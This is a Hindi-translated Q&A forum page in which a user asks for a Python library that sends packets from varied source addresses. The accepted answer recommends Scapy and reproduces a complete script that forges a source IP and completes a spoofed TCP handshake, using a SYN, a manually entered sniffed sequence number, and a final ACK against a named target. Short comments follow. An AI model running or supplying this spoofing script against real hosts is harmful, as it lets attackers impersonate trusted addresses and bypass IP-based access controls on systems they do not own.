2009-01-05 3 views
17

क्या वहां कोई पाइथन लाइब्रेरी है जो मुझे विभिन्न स्रोत पतों और बंदरगाहों से मशीन पर यूडीपी पैकेट भेजने की अनुमति दे सकती है (स्थानीयहोस्ट को भेजना ठीक है)? मुझे याद है कि एक अस्तित्व में है, लेकिन अब यह नहीं मिल रहा है।क्या अलग-अलग पते से नेटवर्क यातायात को अनुकरण करने की तुलना में कोई पाइथन लाइब्रेरी है

उत्तर

18

आप Scapy लाइब्रेरी का उपयोग कर एक आईपी पता खराब कर सकते हैं।

यहाँ Packet Wizardry: Ruling the Network with Python से एक उदाहरण है:

#!/usr/bin/env python 
import sys 
from scapy import * 
conf.verb=0 

if len(sys.argv) != 4: 
    print "Usage: ./spoof.py <target> <spoofed_ip> <port>" 
    sys.exit(1) 

target = sys.argv[1] 
spoofed_ip = sys.argv[2] 
port = int(sys.argv[3]) 

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S') 
send(p1) 
print "Okay, SYN sent. Enter the sniffed sequence number now: " 

seq=sys.stdin.readline() 
print "Okay, using sequence number " + seq 

seq=int(seq[:-1]) 
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A', 
            ack=seq+1,seq=1) 
send(p2) 

print "Okay, final ACK sent. Check netstat on your target :-)" 
+0

यह मैं वास्तव में क्या ढूंढ रहा था। धन्यवाद! – Readonly

+0

ओह, मेरी पसंद है। स्कैपी को देखने के लिए मिला। –

+0

पैकेट को एनएटी/फ़ायरवाल द्वारा कर्नेल या फ़िल्टर द्वारा छोड़ा जाएगा या आईएसपी द्वारा मारा जाएगा लेकिन आपका जवाब बहुत अच्छा होगा। – vietnguyen09